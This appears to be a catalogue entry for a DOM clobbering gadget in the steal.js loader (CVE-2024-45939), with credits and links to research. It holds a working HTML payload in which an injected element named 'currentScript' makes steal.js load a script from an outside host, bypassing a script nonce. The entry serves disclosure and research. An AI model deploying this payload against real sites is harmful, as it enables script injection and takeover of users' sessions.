.. / steal.js

Star Fork

Futuristic JavaScript dependency loader and builder. Speeds up application load times. Works with ES6, CommonJS, AMD, CSS, LESS and more. Simplifies modular workflows.

Latest | CVE-2024-45939

<img> @src ⏱️ before-call

• The steal.js library was using document.currentScript as a reference to load plugins.

  <!-- user input -->
  <image name="currentScript" src="https://gmsgadget.com/assets/xss/index.js"></image>
  
  <script nonce="secret" src="/assets/libs/steal/steal.js" main></script>

  Preview Copy

Related links:

• https://github.com/jackfromeast/dom-clobbering-collection/blob/main/domc-gadgets/steal.md
• https://jackfromeast.github.io/assets/DOMinoEffect.pdf

Found by jackfromeast, ishmeals.

Source | History